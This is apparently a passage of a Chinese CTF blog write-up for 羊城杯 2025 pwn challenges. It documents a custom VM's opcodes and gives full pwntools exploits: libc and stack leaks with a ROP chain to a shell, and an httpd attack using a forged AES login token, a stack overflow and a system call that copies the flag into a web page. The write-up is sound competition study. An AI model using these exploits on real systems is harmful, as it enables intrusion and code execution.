- op 54 ('6') :IO/退出( n 取自内存 *(base+R2) )
- op 55 ('7') :IO/退出( fd 、 buf 从内存取)
- op 56 ('8') :IO/退出( fd 、 n 从内存取)
- op 57 ('9') :IO/退出( buf 、 n 从内存取)
- op 58 (':') :IO/退出(三个参数都从内存取)
- op 59 (';') : ret imm24 ( PC = *(base+SP) ; SP += 4*(imm24+1) )
- IO/退出的 op (传入 sub_4014AF 的第一个参数)含义: 0=read(fd, buf, n) 、 1=write(fd, buf, n) 、 2=exit(status=fd) 。
Mode 1(B 类:单寄存器/栈/基于寄存器的跳转,操作数: reg )

- op 31 : push R[reg] 到 *(base+SP) , SP+=-4
- op 32 : pop -> R[reg] , SP+=+4
- op 33 : inc R[reg]
- op 34 : dec R[reg]
- op 35 : R[reg] = SP
- op 41..47 :与上面的条件跳转同义,但跳转目标为寄存器值: PC = R[reg] (满足条件时)
- op 48 ('0') : call imm8 (压栈当前 PC ,然后 PC = imm8 )
Mode 2(C 类:双寄存器,操作数: regA, regB )

- op 1 : cmpu R[A] ? R[B] (无符号比较,设置 flag )
- op 2 : cmps R[A] ? R[B] (有符号比较,设置 flag )
- op 3 : R[A] = R[B]
- op 4 : R[A] ^= R[B]
- op 5 : R[A] |= R[B]
- op 6 : R[A] &= R[B]
- op 7 : R[A] <<= R[B]
- op 8 : R[A] >>= R[B]
- op 9 : swap R[A], R[B]
- op 10 : R[A] += R[B]
- op 11 : R[A] -= R[B]
- op 12 : R[A] = *(u8*)(base + R[B]) (先检查 R[B] <= 0x1000 )
- op 13 : R[A] = *(u16*)(base + R[B])
- op 14 : R[A] = *(u32*)(base + R[B])
- op 15 : *(u8*)(base + R[B]) = R[A] (检查 R[B] )
- op 16 : *(u16*)(base + R[B]) = R[A]
- op 17 : *(u32*)(base + R[B]) = R[A]
Mode 3(D 类:寄存器 + 立即数,操作数: regA, imm32 )

- op 1 : cmpu R[A] ? imm32 (无符号,设 flag )
- op 2 : cmps R[A] ? imm32 (有符号,设 flag )
- op 3 : R[A] = imm32
- op 4 : R[A] ^= imm32
- op 5 : R[A] |= imm32
- op 6 : R[A] &= imm32
- op 7 : R[A] <<= imm32
- op 8 : R[A] >>= imm32
- op 10 : R[A] += imm32
- op 11 : R[A] -= imm32
- op 12 : R[A] = *(u8*)(base + imm32) (检查 imm32 <= 0x1000 )
- op 13 : R[A] = *(u16*)(base + imm32)
- op 14 : R[A] = *(u32*)(base + imm32)
- op 15 : *(u8*)(base + R[A]) = (uint8)imm32
- op 16 : *(u16*)(base + R[A]) = (uint16)imm32
- op 17 : *(u32*)(base + R[A]) = imm32
'''

payload = b''
payload += gen_op(3, 3, 0, 1)
payload += gen_op(3, 3, 1, 0x405048)
payload += gen_op(3, 3, 2, 0x8)
payload += gen_op(0, 51, 1)

payload += gen_op(3, 3, 0, 0)
payload += gen_op(3, 3, 1, 0x4050A0)
payload += gen_op(3, 3, 2, 0x200)
payload += gen_op(0, 51, 0)

# payload += gen_op(0, 36, (0x1000 + 0x58) // 4)
# payload += gen_op(1, 32, 1)
# payload += gen_op(1, 32, 2)

ru(b'Please input your opcodes:\n')
s(payload)

libc_base = u64_ex(r(8)) - libc.sym.malloc
set_current_libc_base_and_log(libc_base)

environ = libc.sym.environ
payload += gen_op(3, 3, 0, 1)
payload += gen_op(3, 3, 1, environ & 0xFFFFFFFF)
payload += gen_op(3, 3, 2, (environ >> 32) & 0xFFFFFFFF)
payload += gen_op(3, 7, 2, 32)
payload += gen_op(2, 10, 1, 2)
payload += gen_op(3, 3, 2, 0x8)
payload += gen_op(0, 51, 1)
payload += gen_op(3, 3, 0, 0)
payload += gen_op(3, 3, 1, 0x4050A0)
payload += gen_op(3, 3, 2, 0x200)
payload += gen_op(0, 51, 0)
s(payload.ljust(0x200, b'\x00'))

stack = u64_ex(r(8)) - 0x1A0
leak_ex2(stack)

payload += gen_op(3, 3, 0, 0)
payload += gen_op(3, 3, 1, stack & 0xFFFFFFFF)
payload += gen_op(3, 3, 2, (stack >> 32) & 0xFFFFFFFF)
payload += gen_op(3, 7, 2, 32)
payload += gen_op(2, 10, 1, 2)
payload += gen_op(3, 3, 2, 0x200)
payload += gen_op(0, 51, 0)
s(payload.ljust(0x200, b'\x00'))

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
sh = CG.bin_sh()
ret = CG.ret()

payload = flat([rdi, sh, ret, libc.sym.system])
s(payload.ljust(0x200, b'\x00'))

ia()

Iot

login是个魔改aes,call洋参即可

work路由可以往堆写东西,也可以直接栈溢出

利用magic gadget改一个函数为system,然后call

将flag写到work.html(题目提示静态资源不变)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
#!/usr/bin/env python3
from pwncli import *
import requests
from bs4 import BeautifulSoup
import re
from Crypto.Cipher import AES

KEY = b"0123456789ABCDEF" # 16字节固定密钥
BLOCK_SIZE = 16

def encrypt_block16(plaintext: bytes) -> bytes:
"""加密单个16字节块(与 sub_401FDB 的单块加密一致)。"""
if len(plaintext) != BLOCK_SIZE:
raise ValueError("plaintext must be exactly 16 bytes")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(plaintext)

def decrypt_block16(ciphertext: bytes) -> bytes:
"""解密单个16字节块。"""
if len(ciphertext) != BLOCK_SIZE:
raise ValueError("ciphertext must be exactly 16 bytes")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.decrypt(ciphertext)

def encrypt_ecb(data: bytes) -> bytes:
"""多块 ECB 加密(长度需为16的倍数,无填充)。"""
if len(data) % BLOCK_SIZE != 0:
raise ValueError("data length must be a multiple of 16 (no padding)")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.encrypt(data)

def decrypt_ecb(data: bytes) -> bytes:
"""多块 ECB 解密(长度需为16的倍数,无填充)。"""
if len(data) % BLOCK_SIZE != 0:
raise ValueError("data length must be a multiple of 16 (no padding)")
cipher = AES.new(KEY, AES.MODE_ECB)
return cipher.decrypt(data)

def fetch_key(url: str, timeout: int = 10) -> str:
"""从登录页返回的 HTML 中提取 KEY 文本。"""
s = requests.Session()
resp = s.get(url, timeout=timeout)
resp.raise_for_status()
html = resp.text

# 优先用 DOM 解析,定位到 <div class="key-display"><strong>KEY</strong></div>
soup = BeautifulSoup(html, "html.parser")
node = soup.select_one(".key-display strong")
if node:
key = node.get_text(strip=True)
if key:
return key

# 回退:用正则匹配 strong 中的内容
m = re.search(r"<div[^>]*class=\"[^\"]*key-display[^\"]*\"[^>]*>.*?<strong>([^<]+)</strong>", html, re.S | re.I)
if m:
return m.group(1).strip()

raise ValueError("未在页面中找到 KEY,可能页面结构已变或未渲染")

class AES:

MIX_C = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]]
I_MIXC = [[0xE, 0xB, 0xD, 0x9], [0x9, 0xE, 0xB, 0xD], [0xD, 0x9, 0xE, 0xB], [0xB, 0xD, 0x9, 0xE]]
RCon = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]

S_BOX = [
[0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82],
[0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2],
[0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62],
[0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2],
[0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42],
[0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2],
[0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22],
[0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92],
[0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02],
[0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72],
[0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2],
[0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52],
[0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2],
[0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32],
[0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2],
[0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12],
]

I_SBOX = [
[0x41, 0xE8, 0x8F, 0x36, 0xDD, 0x84, 0x2B, 0xD2, 0x79, 0x20, 0xC7, 0x6E, 0x15, 0xBC, 0x63, 0x0A],
[0xB1, 0x58, 0xFF, 0xA6, 0x4D, 0xF4, 0x9B, 0x42, 0xE9, 0x90, 0x37, 0xDE, 0x85, 0x2C, 0xD3, 0x7A],
[0x21, 0xC8, 0x6F, 0x16, 0xBD, 0x64, 0x0B, 0xB2, 0x59, 0x00, 0xA7, 0x4E, 0xF5, 0x9C, 0x43, 0xEA],
[0x91, 0x38, 0xDF, 0x86, 0x2D, 0xD4, 0x7B, 0x22, 0xC9, 0x70, 0x17, 0xBE, 0x65, 0x0C, 0xB3, 0x5A],
[0x01, 0xA8, 0x4F, 0xF6, 0x9D, 0x44, 0xEB, 0x92, 0x39, 0xE0, 0x87, 0x2E, 0xD5, 0x7C, 0x23, 0xCA],
[0x71, 0x18, 0xBF, 0x66, 0x0D, 0xB4, 0x5B, 0x02, 0xA9, 0x50, 0xF7, 0x9E, 0x45, 0xEC, 0x93, 0x3A],
[0xE1, 0x88, 0x2F, 0xD6, 0x7D, 0x24, 0xCB, 0x72, 0x19, 0xC0, 0x67, 0x0E, 0xB5, 0x5C, 0x03, 0xAA],
[0x51, 0xF8, 0x9F, 0x46, 0xED, 0x94, 0x3B, 0xE2, 0x89, 0x30, 0xD7, 0x7E, 0x25, 0xCC, 0x73, 0x1A],
[0xC1, 0x68, 0x0F, 0xB6, 0x5D, 0x04, 0xAB, 0x52, 0xF9, 0xA0, 0x47, 0xEE, 0x95, 0x3C, 0xE3, 0x8A],
[0x31, 0xD8, 0x7F, 0x26, 0xCD, 0x74, 0x1B, 0xC2, 0x69, 0x10, 0xB7, 0x5E, 0x05, 0xAC, 0x53, 0xFA],
[0xA1, 0x48, 0xEF, 0x96, 0x3D, 0xE4, 0x8B, 0x32, 0xD9, 0x80, 0x27, 0xCE, 0x75, 0x1C, 0xC3, 0x6A],
[0x11, 0xB8, 0x5F, 0x06, 0xAD, 0x54, 0xFB, 0xA2, 0x49, 0xF0, 0x97, 0x3E, 0xE5, 0x8C, 0x33, 0xDA],
[0x81, 0x28, 0xCF, 0x76, 0x1D, 0xC4, 0x6B, 0x12, 0xB9, 0x60, 0x07, 0xAE, 0x55, 0xFC, 0xA3, 0x4A],
[0xF1, 0x98, 0x3F, 0xE6, 0x8D, 0x34, 0xDB, 0x82, 0x29, 0xD0, 0x77, 0x1E, 0xC5, 0x6C, 0x13, 0xBA],
[0x61, 0x08, 0xAF, 0x56, 0xFD, 0xA4, 0x4B, 0xF2, 0x99, 0x40, 0xE7, 0x8E, 0x35, 0xDC, 0x83, 0x2A],
[0xD1, 0x78, 0x1F, 0xC6, 0x6D, 0x14, 0xBB, 0x62, 0x09, 0xB0, 0x57, 0xFE, 0xA5, 0x4C, 0xF3, 0x9A],
]

def SubBytes(self, State):
# 字节替换
return [self.S_BOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]

def SubBytes_Inv(self, State):
# 字节逆替换
return [self.I_SBOX[i][j] for i, j in [(_ >> 4, _ & 0xF) for _ in State]]

def ShiftRows(self, S):
# 行移位
return [S[0], S[5], S[10], S[15], S[4], S[9], S[14], S[3], S[8], S[13], S[2], S[7], S[12], S[1], S[6], S[11]]

def ShiftRows_Inv(self, S):
# 逆行移位
return [S[0], S[13], S[10], S[7], S[4], S[1], S[14], S[11], S[8], S[5], S[2], S[15], S[12], S[9], S[6], S[3]]

def MixColumns(self, State):
# 列混合
return self.Matrix_Mul(self.MIX_C, State)

def MixColumns_Inv(self, State):
# 逆列混合
return self.Matrix_Mul(self.I_MIXC, State)

def RotWord(self, _4byte_block):
# 用于生成轮密钥的字移位
return ((_4byte_block & 0xFFFFFF) << 8) + (_4byte_block >> 24)

def SubWord(self, _4byte_block):
# 用于生成密钥的字节替换
result = 0
for position in range(4):
i = _4byte_block >> position * 8 + 4 & 0xF
j = _4byte_block >> position * 8 & 0xF
result ^= self.S_BOX[i][j] << position * 8
return result

def mod(self, poly, mod=0b100011011):
# poly模多项式mod
while poly.bit_length() > 8:
poly ^= mod << poly.bit_length() - 9
return poly

def mul(self, poly1, poly2):
# 多项式相乘
result = 0
for index in range(poly2.bit_length()):
if poly2 & 1 << index:
result ^= poly1 << index
return result

def Matrix_Mul(self, M1, M2): # M1 = MIX_C M2 = State
# 用于列混合的矩阵相乘
M = [0] * 16
for row in range(4):
for col in range(4):
for Round in range(4):
M[row + col * 4] ^= self.mul(M1[row][Round], M2[Round + col * 4])
M[row + col * 4] = self.mod(M[row + col * 4])
return M

def round_key_generator(self, _16bytes_key):
# 轮密钥产生
w = [_16bytes_key >> 96, _16bytes_key >> 64 & 0xFFFFFFFF, _16bytes_key >> 32 & 0xFFFFFFFF, _16bytes_key & 0xFFFFFFFF] + [0] * 40
for i in range(4, 44):
temp = w[i - 1]
if not i % 4:
temp = self.SubWord(self.RotWord(temp)) ^ self.RCon[i // 4 - 1]
w[i] = w[i - 4] ^ temp
return [self.num_2_16bytes(sum([w[4 * i] << 96, w[4 * i + 1] << 64, w[4 * i + 2] << 32, w[4 * i + 3]])) for i in range(11)]

def AddRoundKey(self, State, RoundKeys, index):
# 异或轮密钥
return self._16bytes_xor(State, RoundKeys[index])

def _16bytes_xor(self, _16bytes_1, _16bytes_2):
return [_16bytes_1[i] ^ _16bytes_2[i] for i in range(16)]

def _16bytes2num(cls, _16bytes):
# 16字节转数字
return int.from_bytes(_16bytes, byteorder='big')

def num_2_16bytes(cls, num):
# 数字转16字节
return num.to_bytes(16, byteorder='big')

def aes_encrypt(self, plaintext_list, RoundKeys):
State = plaintext_list
State = self.AddRoundKey(State, RoundKeys, 0)
for Round in range(1, 10):
State = self.SubBytes(State)
State = self.ShiftRows(State)
State = self.MixColumns(State)
State = self.AddRoundKey(State, RoundKeys, Round)
State = self.SubBytes(State)
State = self.ShiftRows(State)
State = self.AddRoundKey(State, RoundKeys, 10)
return State

def aes_decrypt(self, ciphertext_list, RoundKeys):
State = ciphertext_list
State = self.AddRoundKey(State, RoundKeys, 10)
for Round in range(1, 10):
State = self.ShiftRows_Inv(State)
State = self.SubBytes_Inv(State)
State = self.AddRoundKey(State, RoundKeys, 10 - Round)
State = self.MixColumns_Inv(State)
State = self.ShiftRows_Inv(State)
State = self.SubBytes_Inv(State)
State = self.AddRoundKey(State, RoundKeys, 0)
return State

def bytes_to_hex_int(data: bytes) -> int:
"""将 bytes 转换为十六进制整数"""
return int(data.hex(), 16)

def get_token(data: bytes):
aes = AES()
key = 0x30313233343536373839414243444546
RoundKeys = aes.round_key_generator(key)

# 将 bytes 转换为整数
ciphertext = int(data.hex(), 16)

# 解密
ciphertext = aes.num_2_16bytes(ciphertext)
plaintext = aes.aes_encrypt(ciphertext, RoundKeys)
return hex(aes._16bytes2num(plaintext)).replace('0x', '')

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './httpd')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc('./libc.so.6')

cmd = '''
# b *0x40265C
b *0x4031d4
# b *0x402FAB
# ida
# dir /mnt/f/Documents/CTF/glibc/glibc-2.31
c
'''
launch_gdb(cmd)
url = "http://127.0.0.1:9999/"
url = "http://45.40.247.139:23174/"
sleep(1)

# if local_flag != "remote":
# ru(b'Server running on port 9999\n')

key = fetch_key(url + "login.html")
log_ex(f"key: {key.encode().hex()}")
token = get_token(key.encode())
# token = decrypt_ecb(key.encode())
# log_ex(f"token: {token.hex()}")
# b0 = b'\x00' * 16

req = requests.post(url + "login", data=f"ciphertext={token}")

def work(payload):
log_ex(f"payload: {payload}")
try:
req = requests.post(url + "work", data=payload)
except:
return
log_ex(req.text)

def log(idx):
req = requests.post(url + "log", data=f"index={idx}")
return req.text

def csu(rdi=0, rsi=0, rdx=0, rip=0):
return flat([0x40362A, 0, 1, rdi, rsi, rdx, rip, 0x403610]) + p64(0) * 7


CG.set_find_area(True, False)
rdi = CG.pop_rdi_ret()
rsi_r15 = CG.pop_rsi_r15_ret()
ret = CG.ret()
rbx_rbp = 0x4016AE
rax_rbx_rbp = 0x40283C
magic = 0x4014DC
call_rax = 0x401A83 # : call qword ptr [rax - 0x3b7cb770]; sub byte ptr [rbx + 0x5d], bl; ret;

memcpy_got = 0x406100
memcpy_plt = 0x4013F0
time_got = 0x406108

work('/flag')
work(b'a' * 0x1D + p64(ret) + b'cat /flag>/home/ctf/work.html\x00' + b'a' * 0x400 + b'\n')

ret1 = log(1)
log_ex(ret1)
heap1 = int(ret1[ret1.find(':0x') + 1 :], 16)
leak_ex2(heap1)
libc_base = heap1 - 0xAE70 + 0x7C00000
set_current_libc_base_and_log(libc_base)

payload = flat([rbx_rbp, libc.sym.system - libc.sym.printf, 0x406018 + 0x3D, magic, rdi, heap1 + 0x20, rax_rbx_rbp, 0x406018 + 0x3B7CB770, 0, 0, call_rax])
work(b'a' * (0x48 + 5) + payload + b'YCB2025')

sleep(2)
key = fetch_key(url + "login.html")
log_ex(f"key: {key.encode().hex()}")
token = get_token(key.encode())

req = requests.post(url + "login", data=f"ciphertext={token}")
req = requests.get(url + "work.html")
log_ex(req.text)

ia()

碎碎念

四个一血,真不错

现在ai加上idamcp已经可以秒杀大部分pwn的逆向+挖洞了,如此次比赛的vm

  • 标题: 羊城杯-2025-初赛
  • 作者: InkeyP
  • 创建于 : 2025-10-13 11:37:09
  • 更新于 : 2025-10-13 12:03:14
  • 链接: https://blog.inkey.top/202510/13/羊城杯-2025-初赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论